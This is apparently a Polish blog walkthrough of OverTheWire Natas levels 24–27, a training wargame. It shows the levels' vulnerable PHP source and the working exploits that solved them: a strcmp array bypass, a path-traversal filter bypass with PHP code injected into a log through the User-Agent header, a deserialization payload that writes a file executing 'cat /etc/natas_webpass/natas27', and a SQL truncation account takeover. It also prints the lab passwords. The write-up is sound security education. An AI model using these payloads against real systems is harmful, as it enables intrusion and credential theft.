Opis przejścia kolejnych poziomów gry OverTheWire dla poziomów 24-27.
Natas24:
Link do zalogowania: http://natas24.natas.labs.overthewire.org/index.php
Login: natas24
Password: OsRmXFguozKpTZZ5X14zNO43379LZveg
Poniżej kod strony wraz ze źródłem php…
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 |
<html> <head> <!-- This stuff in the header has nothing to do with the level --> <link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css"> <link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" /> <link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" /> <script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script> <script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script> <script src="http://natas.labs.overthewire.org/js/wechall-data.js"></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script> <script>var wechallinfo = { "level": "natas24", "pass": "<censored>" };</script></head> <body> <h1>natas24</h1> <div id="content"> Password: <form name="input" method="get"> <input type="text" name="passwd" size=20> <input type="submit" value="Login"> </form> <?php if(array_key_exists("passwd",$_REQUEST)){ if(!strcmp($_REQUEST["passwd"],"<censored>")){ echo "<br>The credentials for the next level are:<br>"; echo "<pre>Username: natas25 Password: <censored></pre>"; } else{ echo "<br>Wrong!<br>"; } } // morla / 10111 ?> <div id="viewsource"><a href="index-source.html">View sourcecode</a></div> </div> </body> </html> |
Kluczowym elementem tego zadania jest sposób porównywania zmiennych przy pomocy funkcji strcmp(). Kluczowym zapisem jest tutaj sprawdzenie, że funkcja sprawdza czy dwa ciągi znaków są różne zamiast sprawdzania czy są takie same. Funkcja strcmp() jeżeli ciągi są różne to wyświetla hasło na stronie. Ciekawą własnością tej funkcji jest fakt, że zachowuje się nietypowo jeżeli porównywane są inne elementy niż ciągi znaków. Korzystając z manuala funkcji strcmp() istnieje możliwość osiągnięcia wartości innej niż True lub False:
1 2 3 |
strcmp("foo", array()) => NULL + PHP Warning strcmp("foo", new stdClass) => NULL + PHP Warning strcmp(function(){}, "") => NULL + PHP Warning |
Porównywanie ciągu znaków oraz tablicy powoduje, że porównywanie tych zmiennych powoduje zwrot wartości NULL, zatem te wartości nie są różne.
Poniżej przykład takiego porównania oraz wynik:
natas24.natas.labs.overthewire.org/?passwd[]=1234
Hasło do levelu25 jest GHF6X7YwACaYYssHVY05cFq83hRktl4c
NATAS25:
Link do zalogowania: http://natas25.natas.labs.overthewire.org/index.php
Login: natas25
Password: GHF6X7YwACaYYssHVY05cFq83hRktl4c
Poniżej kod skryptu do analizy:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 |
<html> <head> <!-- This stuff in the header has nothing to do with the level --> <link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css"> <link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" /> <link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" /> <script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script> <script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script> <script src="http://natas.labs.overthewire.org/js/wechall-data.js"></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script> <script>var wechallinfo = { "level": "natas25", "pass": "<censored>" };</script></head> <body> <?php // cheers and <3 to malvina // - morla function setLanguage(){ /* language setup */ if(array_key_exists("lang",$_REQUEST)) if(safeinclude("language/" . $_REQUEST["lang"] )) return 1; safeinclude("language/en"); } function safeinclude($filename){ // check for directory traversal if(strstr($filename,"../")){ logRequest("Directory traversal attempt! fixing request."); $filename=str_replace("../","",$filename); } // dont let ppl steal our passwords if(strstr($filename,"natas_webpass")){ logRequest("Illegal file access detected! Aborting!"); exit(-1); } // add more checks... if (file_exists($filename)) { include($filename); return 1; } return 0; } function listFiles($path){ $listoffiles=array(); if ($handle = opendir($path)) while (false !== ($file = readdir($handle))) if ($file != "." && $file != "..") $listoffiles[]=$file; closedir($handle); return $listoffiles; } function logRequest($message){ $log="[". date("d.m.Y H::i:s",time()) ."]"; $log=$log . " " . $_SERVER['HTTP_USER_AGENT']; $log=$log . " \"" . $message ."\"\n"; $fd=fopen("/var/www/natas/natas25/logs/natas25_" . session_id() .".log","a"); fwrite($fd,$log); fclose($fd); } ?> <h1>natas25</h1> <div id="content"> <div align="right"> <form> <select name='lang' onchange='this.form.submit()'> <option>language</option> <?php foreach(listFiles("language/") as $f) echo "<option>$f</option>"; ?> </select> </form> </div> <?php session_start(); setLanguage(); echo "<h2>$__GREETING</h2>"; echo "<p align=\"justify\">$__MSG"; echo "<div align=\"right\"><h6>$__FOOTER</h6><div>"; ?> <p> <div id="viewsource"><a href="index-source.html">View sourcecode</a></div> </div> </body> </html> |
Kod programu polega na wyświetleniu tekstu w 2 różnych językach: angielskim oraz niemieckim. Parametr odpowiadający za zmianę języka występuje w parametrze GET o nazwie lang, który przyjmuje dwa parametry eng oraz de. Dodatkowo w liniach 24-28 znajduje się funkcja odpowiedzialna za przewidywanie atakom path traversal, która powoduje zamianę ciągu ../ na pusty ciąg znaków.
W liniach 31-33 istnieje zabezpieczenie, które uniemożliwia podejrzenie pliku zawierającego ciąg natas_webpass. Pora spróbować sobie poradzić z wymienionymi zabezpieczeniami.
Najpierw należy zauważyć, że zabezpieczenie przeciwko path traversal niedostatecznie chroni przed tym atakiem. Ciągiem, który pozwala na wyświetlenie innych plików to ….// (cztery ukośniki i dwa backshashe).
Następnie należy zauważyć, że funkcja o nazwie logRequest zapisuje do pliku $fd=fopen(„/var/www/natas/natas25/logs/natas25_” . session_id() .”.log”,”a”); wszystkie zdarzenia na stronie. Zaczynam od odtworzenia parametru session_id, który u mnie wynosi: ige5msfgjnb0r0k0s4l2liarv7
Zatem adres do pliku przedstawia się następująco: http://natas25.natas.labs.overthewire.org/?lang=….///logs/natas25_ige5msfgjnb0r0k0s4l2liarv7.log
Pora teraz spróbować podejrzeć zawartość pliku z hasłem. Tutaj kluczowy jest zapis w linii 57: $log=$log . ” ” . $_SERVER[’HTTP_USER_AGENT’];
Stosowana jest tutaj konkatenacja zmiennej log oraz zmiennej globalnej HTTP_USER_AGENT. Należy zatem podmienić zawartość tego nagłówka na inny ciąg o następującej wartości:
1 2 3 4 5 6 7 8 9 10 |
GET /?lang=....//logs/natas25_ige5msfgjnb0r0k0s4l2liarv7.log HTTP/1.1 Host: natas25.natas.labs.overthewire.org Authorization: Basic bmF0YXMyNTpHSEY2WDdZd0FDYVlZc3NIVlkwNWNGcTgzaFJrdGw0Yw== Upgrade-Insecure-Requests: 1 User-Agent: <? readfile("/etc/natas_webpass/natas26") ?> Chrome/81.0.4044.138 Safari/537.36 OPR/68.0.3618.104 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: pl-PL,pl;q=0.9,en-US;q=0.8,en;q=0.7 Cookie: PHPSESSID=ige5msfgjnb0r0k0s4l2liarv7 Connection: close |
Odpowiedzią na takie zapytanie jest:
1 2 3 4 5 6 |
........ Safari/537.36 OPR/68.0.3618.104 "Directory traversal attempt! fixing request." [18.05.2020 09::49:28] Mozilla/5.0 (Windows NT 6.1; ) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36 OPR/68.0.3618.104 "Directory traversal attempt! fixing request." [18.05.2020 09::54:30] oGgWAJ7zcGT28vYazGo4rkhOPDhBu34T Chrome/81.0.4044.138 Safari/537.36 OPR/68.0.3618.104 "Directory traversal attempt! fixing request." ........ |
Hasłem jest ciąg znaków: oGgWAJ7zcGT28vYazGo4rkhOPDhBu34T
Natas26:
Link do zalogowania: http://natas26.natas.labs.overthewire.org/index.php
Login: natas26
Password: oGgWAJ7zcGT28vYazGo4rkhOPDhBu34T
Kod strony przedstawia się następująco:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 |
<html> <head> <!-- This stuff in the header has nothing to do with the level --> <link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css"> <link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" /> <link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" /> <script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script> <script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script> <script src="http://natas.labs.overthewire.org/js/wechall-data.js"></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script> <script>var wechallinfo = { "level": "natas26", "pass": "<censored>" };</script></head> <body> <?php // sry, this is ugly as hell. // cheers kaliman ;) // - morla class Logger{ private $logFile; private $initMsg; private $exitMsg; function __construct($file){ // initialise variables $this->initMsg="#--session started--#\n"; $this->exitMsg="#--session end--#\n"; $this->logFile = "/tmp/natas26_" . $file . ".log"; // write initial message $fd=fopen($this->logFile,"a+"); fwrite($fd,$initMsg); fclose($fd); } function log($msg){ $fd=fopen($this->logFile,"a+"); fwrite($fd,$msg."\n"); fclose($fd); } function __destruct(){ // write exit message $fd=fopen($this->logFile,"a+"); fwrite($fd,$this->exitMsg); fclose($fd); } } function showImage($filename){ if(file_exists($filename)) echo "<img src=\"$filename\">"; } function drawImage($filename){ $img=imagecreatetruecolor(400,300); drawFromUserdata($img); imagepng($img,$filename); imagedestroy($img); } function drawFromUserdata($img){ if( array_key_exists("x1", $_GET) && array_key_exists("y1", $_GET) && array_key_exists("x2", $_GET) && array_key_exists("y2", $_GET)){ $color=imagecolorallocate($img,0xff,0x12,0x1c); imageline($img,$_GET["x1"], $_GET["y1"], $_GET["x2"], $_GET["y2"], $color); } if (array_key_exists("drawing", $_COOKIE)){ $drawing=unserialize(base64_decode($_COOKIE["drawing"])); if($drawing) foreach($drawing as $object) if( array_key_exists("x1", $object) && array_key_exists("y1", $object) && array_key_exists("x2", $object) && array_key_exists("y2", $object)){ $color=imagecolorallocate($img,0xff,0x12,0x1c); imageline($img,$object["x1"],$object["y1"], $object["x2"] ,$object["y2"] ,$color); } } } function storeData(){ $new_object=array(); if(array_key_exists("x1", $_GET) && array_key_exists("y1", $_GET) && array_key_exists("x2", $_GET) && array_key_exists("y2", $_GET)){ $new_object["x1"]=$_GET["x1"]; $new_object["y1"]=$_GET["y1"]; $new_object["x2"]=$_GET["x2"]; $new_object["y2"]=$_GET["y2"]; } if (array_key_exists("drawing", $_COOKIE)){ $drawing=unserialize(base64_decode($_COOKIE["drawing"])); } else{ // create new array $drawing=array(); } $drawing[]=$new_object; setcookie("drawing",base64_encode(serialize($drawing))); } ?> <h1>natas26</h1> <div id="content"> Draw a line:<br> <form name="input" method="get"> X1<input type="text" name="x1" size=2> Y1<input type="text" name="y1" size=2> X2<input type="text" name="x2" size=2> Y2<input type="text" name="y2" size=2> <input type="submit" value="DRAW!"> </form> <?php session_start(); if (array_key_exists("drawing", $_COOKIE) || ( array_key_exists("x1", $_GET) && array_key_exists("y1", $_GET) && array_key_exists("x2", $_GET) && array_key_exists("y2", $_GET))){ $imgfile="img/natas26_" . session_id() .".png"; drawImage($imgfile); showImage($imgfile); storeData(); } ?> <div id="viewsource"><a href="index-source.html">View sourcecode</a></div> </div> </body> </html> |
Na wstępie podane zostaną przykładowe dane x1=20, x2=10, y1=100, y2=150, co daje poniższy wynik:
Samo zapytanie z poziomu BurpSuite przedstawia się jak poniżej:
1 2 3 4 5 6 7 8 9 10 11 |
GET /index.php?x1=20&y1=10&x2=100&y2=150 HTTP/1.1 Host: natas26.natas.labs.overthewire.org User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:76.0) Gecko/20100101 Firefox/76.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: pl,en-US;q=0.7,en;q=0.3 Accept-Encoding: gzip, deflate Authorization: Basic bmF0YXMyNjpvR2dXQUo3emNHVDI4dllhekdvNHJraE9QRGhCdTM0VA== Connection: close Cookie: __utma=176859643.1024058856.1579267947.1579267947.1579271854.2; __utmz=176859643.1579267947.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=(not%20provided); __utmc=176859643; PHPSESSID=puoc799ng0thuu7pdpvcmetom0; drawing=YToxOntpOjA7YTo0OntzOjI6IngxIjtzOjI6IjIwIjtzOjI6InkxIjtzOjI6IjEwIjtzOjI6IngyIjtzOjM6IjEwMCI7czoyOiJ5MiI7czozOiIxNTAiO319 Upgrade-Insecure-Requests: 1 Cache-Control: max-age=0 |
Na uwagę zasługuje ciąg drawing, który posiada zakodowaną wartość w base64 YToxOntpOjA7YTo0OntzOjI6IngxIjtzOjI6IjIwIjtzOjI6InkxIjtzOjI6IjEwIjtzOjI6IngyIjtzOjM6IjEwMCI7czoyOiJ5MiI7czozOiIxNTAiO319, która po zdekodowaniu wynosi:
a:1:{i:0;a:4:{s:2:”x1″;s:2:”20″;s:2:”y1″;s:2:”10″;s:2:”x2″;s:3:”100″;s:2:”y2″;s:3:”150″;}}
Mamy do czynienia tutaj z serializacją/deserializacją danych w PHP. Podatna aplikacja musi mieć klasę, która implementuje magiczną metodę PHP (taką jak __wakeup lub __destruct), której można użyć do przeprowadzenia złośliwych ataków lub uruchomienia „łańcucha POP”.
A także wszystkie klasy używane podczas ataku muszą zostać zadeklarowane, gdy wywoływana jest podatna na ataki funkcja unserialize (), w przeciwnym razie dla takich klas musi być obsługiwane automatyczne ładowanie obiektów. Oba te warunki są spełnione przez naszą aplikację.
Potrzebny jest teraz skrypt w php, który spowoduje wygenerowanie zakodowanego ciągu, który następnie może zostać wysłany przez BurpSuite.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 |
<?php class Logger { private $logFile; private $initMsg; private $exitMsg; function __construct($file) { // inicjalizacja zmiennych $this->initMsg="Witam\n"; $this->exitMsg="Zegnam <? passthru('cat /etc/natas_webpass/natas27'); ?>\n\n"; $this->logFile = "img/haslo.php"; } } $object = new Logger("Nowy plik"); echo "Dane do serializacji : ".serialize($object)."<pre>\n\n</pre>Zakodowane Base64 dane : ".urlencode(base64_encode(serialize($object))); ?> |
Wynikiem działania skryptu jest ciąg:
1 |
Dane do serializacji : O:6:"Logger":3:{s:15:"LoggerlogFile";s:13:"img/haslo.php";s:15:"LoggerinitMsg";s:6:"Witam ";s:15:"LoggerexitMsg";s:58:"Zegnam <? passthru('cat /etc/natas_webpass/natas27'); ?> ";}<pre> </pre>Zakodowane Base64 dane : Tzo2OiJMb2dnZXIiOjM6e3M6MTU6IgBMb2dnZXIAbG9nRmlsZSI7czoxMzoiaW1nL2hhc2xvLnBocCI7czoxNToiAExvZ2dlcgBpbml0TXNnIjtzOjY6IldpdGFtCiI7czoxNToiAExvZ2dlcgBleGl0TXNnIjtzOjU4OiJaZWduYW0gPD8gcGFzc3RocnUoJ2NhdCAvZXRjL25hdGFzX3dlYnBhc3MvbmF0YXMyNycpOyA%2FPgoKIjt9 |
Nowa wartość zapytania w BurpSuite wpisana do repetera:
1 2 3 4 5 6 7 8 9 10 11 |
GET /index.php?x1=20&y1=10&x2=100&y2=150 HTTP/1.1 Host: natas26.natas.labs.overthewire.org User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:76.0) Gecko/20100101 Firefox/76.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: pl,en-US;q=0.7,en;q=0.3 Accept-Encoding: gzip, deflate Authorization: Basic bmF0YXMyNjpvR2dXQUo3emNHVDI4dllhekdvNHJraE9QRGhCdTM0VA== Connection: close Cookie: __utma=176859643.1024058856.1579267947.1579267947.1579271854.2; __utmz=176859643.1579267947.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=(not%20provided); __utmc=176859643; PHPSESSID=puoc799ng0thuu7pdpvcmetom0; drawing=Tzo2OiJMb2dnZXIiOjM6e3M6MTU6IgBMb2dnZXIAbG9nRmlsZSI7czoxMzoiaW1nL2hhc2xvLnBocCI7czoxNToiAExvZ2dlcgBpbml0TXNnIjtzOjY6IldpdGFtCiI7czoxNToiAExvZ2dlcgBleGl0TXNnIjtzOjU4OiJaZWduYW0gPD8gcGFzc3RocnUoJ2NhdCAvZXRjL25hdGFzX3dlYnBhc3MvbmF0YXMyNycpOyA%2FPgoKIjt9 Upgrade-Insecure-Requests: 1 Cache-Control: max-age=0 |
Następnie należy podejrzeć hasło do kolejnego poziomu poprzez wykonanie zapytania: http://natas26.natas.labs.overthewire.org/img/haslo.php, wynik:
Zegnam 55TBjpPZUUJgVP5b3BnbG6ON9uDPVzCJ
Natas27:
Link do zalogowania: http://natas27.natas.labs.overthewire.org/index.php
Login: natas27
Password: 55TBjpPZUUJgVP5b3BnbG6ON9uDPVzCJ
Zacznijmy od przejrzenia kodu:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 |
<html> <head> <!-- This stuff in the header has nothing to do with the level --> <link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css"> <link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" /> <link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" /> <script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script> <script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script> <script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script> <script>var wechallinfo = { "level": "natas27", "pass": "<censored>" };</script></head> <body> <h1>natas27</h1> <div id="content"> <? // morla / 10111 // database gets cleared every 5 min /* CREATE TABLE `users` ( `username` varchar(64) DEFAULT NULL, `password` varchar(64) DEFAULT NULL ); */ function checkCredentials($link,$usr,$pass){ $user=mysql_real_escape_string($usr); $password=mysql_real_escape_string($pass); $query = "SELECT username from users where username='$user' and password='$password' "; $res = mysql_query($query, $link); if(mysql_num_rows($res) > 0){ return True; } return False; } function validUser($link,$usr){ $user=mysql_real_escape_string($usr); $query = "SELECT * from users where username='$user'"; $res = mysql_query($query, $link); if($res) { if(mysql_num_rows($res) > 0) { return True; } } return False; } function dumpData($link,$usr){ $user=mysql_real_escape_string($usr); $query = "SELECT * from users where username='$user'"; $res = mysql_query($query, $link); if($res) { if(mysql_num_rows($res) > 0) { while ($row = mysql_fetch_assoc($res)) { // thanks to Gobo for reporting this bug! //return print_r($row); return print_r($row,true); } } } return False; } function createUser($link, $usr, $pass){ $user=mysql_real_escape_string($usr); $password=mysql_real_escape_string($pass); $query = "INSERT INTO users (username,password) values ('$user','$password')"; $res = mysql_query($query, $link); if(mysql_affected_rows() > 0){ return True; } return False; } if(array_key_exists("username", $_REQUEST) and array_key_exists("password", $_REQUEST)) { $link = mysql_connect('localhost', 'natas27', '<censored>'); mysql_select_db('natas27', $link); if(validUser($link,$_REQUEST["username"])) { //user exists, check creds if(checkCredentials($link,$_REQUEST["username"],$_REQUEST["password"])){ echo "Welcome " . htmlentities($_REQUEST["username"]) . "!<br>"; echo "Here is your data:<br>"; $data=dumpData($link,$_REQUEST["username"]); print htmlentities($data); } else{ echo "Wrong password for user: " . htmlentities($_REQUEST["username"]) . "<br>"; } } else { //user doesn't exist if(createUser($link,$_REQUEST["username"],$_REQUEST["password"])){ echo "User " . htmlentities($_REQUEST["username"]) . " was created!"; } } mysql_close($link); } else { ?> <form action="index.php" method="POST"> Username: <input name="username"><br> Password: <input name="password" type="password"><br> <input type="submit" value="login" /> </form> <? } ?> <div id="viewsource"><a href="index-source.html">View sourcecode</a></div> </div> </body> </html> |
Kod strony zachowuje się następująco: Po wpisaniu danych logowania sprawdzane jest czy wskazany użytkownik istnieje w bazie danych, następnie sprawdza czy podane hasło pasuje do wskazanego użytkownika. Jeżeli tak to wyświetla dane tego użytkownika, w przeciwnym wypadku informuje, że podane hasło jest nieprawidłowe. Natomiast jeżeli podanego użytkownika nie ma w bazie danych to go tworzy. Dodatkowo podana jest struktura tabeli użytkowników, która posiada dwa pola po 64 znaki.
Na podstawie poniższych danych można spróbować nadużyć podanego kodu.
Podajemy dane do logowania login:user1, password:1234
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 |
POST /index.php HTTP/1.1 Host: natas27.natas.labs.overthewire.org User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:76.0) Gecko/20100101 Firefox/76.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: pl,en-US;q=0.7,en;q=0.3 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 28 Origin: http://natas27.natas.labs.overthewire.org Authorization: Basic bmF0YXMyNzo1NVRCanBQWlVVSmdWUDViM0JuYkc2T045dURQVnpDSg== Connection: close Referer: http://natas27.natas.labs.overthewire.org/index.php Cookie: __utma=176859643.1024058856.1579267947.1579267947.1579271854.2; __utmz=176859643.1579267947.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=(not%20provided); __utmc=176859643 Upgrade-Insecure-Requests: 1 username=user1&password=1234 |
Spowoduje to dodanie użytkownika user1 z hasłem 1234, zatem aby zdobyć hasło do użytkownika natas28 należy spowodować dodanie konta natas28 w sposób uniemożliwiający sprawdzenie ,iż to konto jeszcze nie istnieje w systemie, w sposób poniższy:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 |
POST /index.php HTTP/1.1 Host: natas27.natas.labs.overthewire.org User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:76.0) Gecko/20100101 Firefox/76.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: pl,en-US;q=0.7,en;q=0.3 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 88 Origin: http://natas27.natas.labs.overthewire.org Authorization: Basic bmF0YXMyNzo1NVRCanBQWlVVSmdWUDViM0JuYkc2T045dURQVnpDSg== Connection: close Referer: http://natas27.natas.labs.overthewire.org/index.php Cookie: __utma=176859643.1024058856.1579267947.1579267947.1579271854.2; __utmz=176859643.1579267947.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=(not%20provided); __utmc=176859643 Upgrade-Insecure-Requests: 1 username=natas28+++++++++++++++++++++++++++++++++++++++++++++++++++++++++a&password=1234 |
Warto tutaj wytłumaczyć na czym polega ta sztuczka. Dodajemy konto o nazwie natas28 (te plusy to spacje) oraz litera a na końcu. W ten sposób dodajemy do tabeli z użytkownikami konto natas28 zawierające po nazwie 57 spacji oraz literę a. To powoduje, że dodany jest użytkownik, który zostaje wpisany do bazy danych, ale ponieważ tabela składa się z 64 znaków to litera a jest wycinana z ciągu. To powoduje ,że są dwa konta natas28, w tym jedno z 57 spacjami na końcu, ale język SQL obcina te spacje co powoduje, że logujemy się na konto natas28. Następnie jest sprawdzane jedno z istniejących haseł tych kont, oryginalnego nie znamy ale jest też sprawdzane to podane przy tworzeniu powyżej o treści 1234. Następnie loguję się na konto natas28 z hasłem 1234. Wynikiem zalogowania jest rozwiązanie:
Welcome natas28!
Here is your data:
Array ( [username] => natas28 [password] => JWwR438wkgTsNKBbcJoowyysdM82YjeF )
Dziękuję i przepraszam za tak dużą pauzę w ostatnim czasie, są to trudne i dla mnie czasy.